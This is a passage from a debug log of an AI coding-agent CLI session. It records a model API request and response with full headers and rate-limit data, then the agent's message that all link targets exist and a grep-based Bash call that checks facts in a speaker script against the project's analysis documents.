projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md\\nOK projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml\\nOK projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\nOK projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\nOK projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\nOK projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md\\nOK research/ba-requirements/2026-09-08-kb-slot-fit-facts.md\\nOK research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\nOK research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md\\nOK research/ba-requirements/methodology-unification/40-practice-and-cases.md\\nOK projects/ba-ai-process/dist/execution-package-gigacode-cli/golden\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:54:45.623Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:54:45.623Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:54:45.623Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:54:45.623Z] [INFO]   }\n[2026-09-29T07:54:45.623Z] [INFO] }\n[2026-09-29T07:54:45.652Z] [STDOUT] [log_b5f0cb] sending request {\n[2026-09-29T07:54:45.655Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:54:45.660Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:45.663Z] [STDOUT]   options: {\n[2026-09-29T07:54:45.667Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:54:45.671Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:54:45.673Z] [STDOUT]     body: {\n[2026-09-29T07:54:45.675Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:54:45.678Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:54:45.680Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:54:45.684Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:54:45.689Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:54:45.691Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:54:45.694Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:54:45.696Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:54:45.698Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:54:45.701Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:54:45.705Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:54:45.707Z] [STDOUT]       stream: true,\n[2026-09-29T07:54:45.718Z] [STDOUT]     },\n[2026-09-29T07:54:45.726Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:54:45.731Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:54:45.751Z] [STDOUT]       aborted: false,\n[2026-09-29T07:54:45.756Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:54:45.761Z] [STDOUT]       onabort: null,\n[2026-09-29T07:54:45.766Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:54:45.768Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:54:45.776Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:54:45.781Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:54:45.791Z] [STDOUT]     },\n[2026-09-29T07:54:45.795Z] [STDOUT]     stream: true,\n[2026-09-29T07:54:45.797Z] [STDOUT]   },\n[2026-09-29T07:54:45.803Z] [STDOUT]   headers: {\n[2026-09-29T07:54:45.806Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:54:45.810Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:54:45.814Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:54:45.818Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:54:45.834Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:54:45.839Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:54:45.853Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:54:45.861Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:54:45.865Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:54:45.870Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1505\",\n[2026-09-29T07:54:45.873Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:54:45.877Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:54:45.881Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:45.884Z] [STDOUT]     \"x-client-request-id\": \"a6b670e4-e446-4e6e-8394-18706163fa6c\",\n[2026-09-29T07:54:45.887Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:54:45.889Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:54:45.893Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:54:45.898Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:54:45.901Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:54:45.903Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:54:45.906Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:54:45.909Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:54:45.913Z] [STDOUT]   },\n[2026-09-29T07:54:45.915Z] [STDOUT] }\n[2026-09-29T07:54:46.440Z] [STDOUT] [log_b5f0cb, request-id: \"req_011CfXNU6ueCHAJV4Lkh6pPb\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 784ms\n[2026-09-29T07:54:46.444Z] [STDOUT] [log_b5f0cb] response start {\n[2026-09-29T07:54:46.447Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:46.450Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:46.454Z] [STDOUT]   headers: {\n[2026-09-29T07:54:46.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:46.459Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:46.462Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:46.470Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:46.473Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:46.476Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.482Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:46.487Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:46.493Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:46.495Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:46.508Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:46.513Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:46.531Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:46.542Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.554Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:46.561Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:46.567Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:46.571Z] [STDOUT]     \"cf-ray\": \"a4296bf35bed5d90-FRA\",\n[2026-09-29T07:54:46.574Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:54:46.579Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:46.584Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:46.586Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:46.589Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:54:46 GMT\",\n[2026-09-29T07:54:46.594Z] [STDOUT]     \"request-id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:46.598Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:54:46.600Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:46.606Z] [STDOUT]     traceresponse: \"00-fb9b4eb0e28591fb907e11af0edbbe84-bacb4576236b0ecf-01\",\n[2026-09-29T07:54:46.612Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:46.615Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:54:46.620Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:46.622Z] [STDOUT]   },\n[2026-09-29T07:54:46.631Z] [STDOUT]   durationMs: 784,\n[2026-09-29T07:54:46.652Z] [STDOUT] }\n[2026-09-29T07:54:46.659Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:54:46.667Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:54:46 GMT\",\n[2026-09-29T07:54:46.672Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:54:46.678Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:54:46.686Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:54:46.701Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:54:46.713Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:54:46.717Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:54:46.726Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:54:46.731Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:54:46.749Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:54:46.755Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:54:46.762Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:54:46.769Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:54:46.774Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:54:46.782Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:54:46.786Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:54:46.791Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.796Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:54:46.800Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:54:46.806Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:54:46.815Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:54:46.822Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:54:46.829Z] [STDOUT]   \"request-id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\",\n[2026-09-29T07:54:46.832Z] [STDOUT]   \"traceresponse\": \"00-fb9b4eb0e28591fb907e11af0edbbe84-bacb4576236b0ecf-01\",\n[2026-09-29T07:54:46.838Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:54:46.842Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:54:46.850Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:54:46.854Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:54:46.866Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:54:46.874Z] [STDOUT]   \"cf-ray\": \"a4296bf35bed5d90-FRA\",\n[2026-09-29T07:54:46.877Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:54:46.880Z] [STDOUT] [log_b5f0cb] response parsed {\n[2026-09-29T07:54:46.886Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:54:46.889Z] [STDOUT]   status: 200,\n[2026-09-29T07:54:46.898Z] [STDOUT]   body: X {\n[2026-09-29T07:54:46.910Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:54:46.919Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:54:46.924Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:54:46.930Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:54:46.938Z] [STDOUT]     },\n[2026-09-29T07:54:46.953Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:54:46.959Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:54:46.961Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:54:46.964Z] [STDOUT]   },\n[2026-09-29T07:54:46.967Z] [STDOUT]   durationMs: 786,\n[2026-09-29T07:54:46.970Z] [STDOUT] }\n[2026-09-29T07:54:46.980Z] [INFO] {\n[2026-09-29T07:54:46.980Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:54:46.980Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:46.980Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:46.980Z] [INFO]   \"uuid\": \"1e5f9900-996a-4241-9178-3067a0894ed2\"\n[2026-09-29T07:54:46.980Z] [INFO] }\n[2026-09-29T07:54:48.240Z] [INFO] {\n[2026-09-29T07:54:48.240Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:54:48.240Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:48.240Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.240Z] [INFO]   \"uuid\": \"128e7aa4-4593-4dbf-98e4-2032c1f531fa\"\n[2026-09-29T07:54:48.240Z] [INFO] }\n[2026-09-29T07:54:48.979Z] [INFO] {\n[2026-09-29T07:54:48.979Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"estimated_tokens\": 285,\n[2026-09-29T07:54:48.979Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:54:48.979Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.979Z] [INFO]   \"uuid\": \"ae885c4f-4279-4d5e-93d8-ebfab9082c37\"\n[2026-09-29T07:54:48.979Z] [INFO] }\n[2026-09-29T07:54:48.986Z] [INFO] {\n[2026-09-29T07:54:48.986Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"message\": {\n[2026-09-29T07:54:48.986Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:48.986Z] [INFO]     \"content\": [\n[2026-09-29T07:54:48.986Z] [INFO]       {\n[2026-09-29T07:54:48.986Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:54:48.986Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:54:48.986Z] [INFO]         \"signature\": \"CAQS6AgKEAgSGAI4AUIIdGhpbmtpbmcSDFi5dtgM7Nkr+Q26NxoMrYX01QthxhHlOKGdIjDJYfmxL3CCkPjOpRuEkqRnbSqLiGJu9znz3rXWQgXNioTInokRT+L81NbftFYPupYqhQgovXPgSB1dJYTSeKF2/RyfAgh+D42txCvlbdDeQ/F2CxKHC6YTbkepputFSEm4YTkhPJhbeCIkuq3wbc2fGW3qJXHWsSVK7fPHLx4LV6C8IH5MSzHVVqyXMU+98B2mSx4BNWY87vasj2E9KacJkuI1M75Y3Yvk1vJfNZ5MjxONhOzyq5d4Wb0irT2deofHYFI/U2JNARgbdvW6pO4kcnb8kqaiF/T0sJpMtsyV+Txu9Qjmac+dLfQ2yZeePV1AolqmAR1JoCQgFnIh8RDuv4AC5FKPVI/5dlI0MCuqPu3os+7PELS8/wGbrGuGx0JmMo1FquE4Ti312JOylirkbGpsGjAh1LrJkeS925J/5GS2jcl0OwXRVpgqMc9aL9mbvT0s2RNEULP0f3KQ+3NxlNg9gR0ZYGGEH31BBc8XJnZoJOzVtbTBiL27MNuaWJED1Nc4DTRZGApVyVW2KPagRNigVMFCfbYxl5cOPA4DdutKOFuR59SHrn7ghXyZgo3+4XFUbwTinpmp9N8nY2Gj5TZwLouDN0eUeVBDpCKEJ8V6je8Y1FKRgOKoy6eDA6fCHa9YFkK9d+4Rp5a1t/m9Hd9ggpxXOrchCZtZylrStrxoOX2VNy8uaP52q3kiMe7Xu6EKI49gXPK/A8PB812jZUsvvGxAZD1Jo8L3zyKjkeGGA+kaafQD69XNVAsm7letHYNXmLlY1JdO+w9rWuFFu9AnF+J/B09ADl2URtjOnNnE7CX3/eWGdSBt/civ31TBFuRxdntasQpkmmd7R1NtV5P1YjkAZ3wJZURkMNFoYmGQLsTXGs5jqh1GBLWEEgtrDQqxA9tFf+K1v/BWpCeJ5Zh32Xo4T82+J1Jp/4JaDYoXkVKGhUUE5IetM6o2dwmsPx3aDm/+4uxrq6MhfwbFaabiahJ0ShE8xOoMHtVybQ9Q5ZlNlPbAWg3ravYfxzKFZVo3q7JH/VA4vGPZM92QvfSj5SE2b44ileCUtGN8mlUV/F7qQNtNFfu3lr+cFsfZgxiZ4kBXPyYYghcxv5dliFER5Fm4FqjjHl21yQheIEGbPNVAq8yCZqvVNd++VTll+ZqI6zXjcqp+geQXrPkpTY0t8cfn82byI8o3RQsoGmAi5QekmVhIPp9VuZia41Ts+5b4ndA83bq5UiuJGcAaVK9oFUJy4BsmeEhxv09S1kQ2rCSkY+YY7/VblCucLmpoNhMrhX14C1T9GrkgejtJTWQqzSWH6NlaguxRkIyLqaslq6VgsmpqVVMC2QyTpFAqbdGBxVpRveqr1O0fze1uO8e3EXR9KxWRoErE+oA2ZDMxYOMHgvU3dk7RqNPg+loAkiK7PZVdnOEpuEnZr6TEfz7peL1UlwQYAQ==\"\n[2026-09-29T07:54:48.986Z] [INFO]       }\n[2026-09-29T07:54:48.986Z] [INFO]     ],\n[2026-09-29T07:54:48.986Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:48.986Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:48.986Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:48.986Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:48.986Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:48.986Z] [INFO]       },\n[2026-09-29T07:54:48.986Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:48.986Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:48.986Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:48.986Z] [INFO]     },\n[2026-09-29T07:54:48.986Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:48.986Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:48.986Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:48.986Z] [INFO]   },\n[2026-09-29T07:54:48.986Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:48.986Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"uuid\": \"3476b99a-ad39-47ff-81a4-9ecab1b1051a\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:48.972Z\",\n[2026-09-29T07:54:48.986Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\"\n[2026-09-29T07:54:48.986Z] [INFO] }\n[2026-09-29T07:54:48.995Z] [INFO] {\n[2026-09-29T07:54:48.995Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"message\": {\n[2026-09-29T07:54:48.995Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:48.995Z] [INFO]     \"content\": [\n[2026-09-29T07:54:48.995Z] [INFO]       {\n[2026-09-29T07:54:48.995Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:54:48.995Z] [INFO]         \"text\": \"All link targets exist. Next I'll check the specific facts in the script against the sources.\"\n[2026-09-29T07:54:48.995Z] [INFO]       }\n[2026-09-29T07:54:48.995Z] [INFO]     ],\n[2026-09-29T07:54:48.995Z] [INFO]     \"container\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"usage\": {\n[2026-09-29T07:54:48.995Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_creation_input_tokens\": 2970,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_read_input_tokens\": 32996,\n[2026-09-29T07:54:48.995Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:54:48.995Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:54:48.995Z] [INFO]         \"ephemeral_1h_input_tokens\": 2970\n[2026-09-29T07:54:48.995Z] [INFO]       },\n[2026-09-29T07:54:48.995Z] [INFO]       \"output_tokens\": 7,\n[2026-09-29T07:54:48.995Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:54:48.995Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:54:48.995Z] [INFO]     },\n[2026-09-29T07:54:48.995Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:54:48.995Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:54:48.995Z] [INFO]     \"context_management\": null\n[2026-09-29T07:54:48.995Z] [INFO]   },\n[2026-09-29T07:54:48.995Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:48.995Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"uuid\": \"dc315986-446c-4fc4-a7e1-022d8d89f35c\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:48.983Z\",\n[2026-09-29T07:54:48.995Z] [INFO]   \"request_id\": \"req_011CfXNU6ueCHAJV4Lkh6pPb\"\n[2026-09-29T07:54:48.995Z] [INFO] }\n[2026-09-29T07:54:54.186Z] [INFO] {\n[2026-09-29T07:54:54.186Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:54:54.186Z] [INFO]   \"message\": {\n[2026-09-29T07:54:54.186Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"id\": \"msg_011CfXNU7VMqQDAdwotroejr\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:54:54.186Z] [INFO]     \"content\": [\n[2026-09-29T07:54:54.186Z] [INFO]       {\n[2026-09-29T07:54:54.186Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"id\": \"toolu_01X1KssENReDdoiregNbBuiZ\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:54:54.186Z] [INFO]         \"input\": {\n[2026-09-29T07:54:54.186Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process; R=$P/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\necho \\\"== CVE/LangGraph/15 nodes/digest\\\"; grep -n -i 'CVE-2026\\\\|langgraph.*MIT\\\\|MIT.*langgraph\\\\|15 \u0443\u0437\u043b\\\\|\u0446\u0435\u043f\u043e\u0447\u043a' $R | head\\necho \\\"== lorem\\\"; grep -rn -i 'lorem' $P/docs/analysis/*.md | head -5\\necho \\\"== GigaCode API\\\"; grep -n -i '\u043d\u0435\u0442 API\\\\|\u0431\u0435\u0437 API\\\\|API Mango AI' $R $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md | head -5\\necho \\\"== byte\\\"; grep -rn -i '\u043f\u043e\u0431\u0430\u0439\u0442' $P/docs/analysis/2026-09-29-cline-package-expectation-gap.md $R | head -5\\necho \\\"== forensics\\\"; F=$P/docs/analysis/2026-09-23-requirements-run-forensics.md; grep -n 'BCREQ-1074\\\\|66 \u0438\u0437 67\\\\|66/67\\\\|17 \\\\|RUN-0015\\\\|RUN-0063\\\\|50 \u0438\u0437 67\\\\|50/67' $F | head -20\\necho \\\"== golden\\\"; grep -n -i '7 \u0440\u0430\u0437\u0434\u0435\u043b\\\\|\u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b' $P/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md | head -3; ls $P/dist/execution-package-gigacode-cli/golden\\necho \\\"== MCP\\\"; grep -rn -i 'read-only\\\\|\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438' $P/docs/analysis/2026-09-29-*.md $P/dist/*/README* 2>/dev/null | head -5\\necho \\\"== M metrics\\\"; grep -n 'M-[1-5]' $P/ba-meta-model/40-practice-and-cases.md | head -20\",\n[2026-09-29T07:54:54.186Z] [INFO]           \"description\": \"Verify facts cited in speaker script\"\n[2026-09-29T07:54:54.186Z] [INFO]         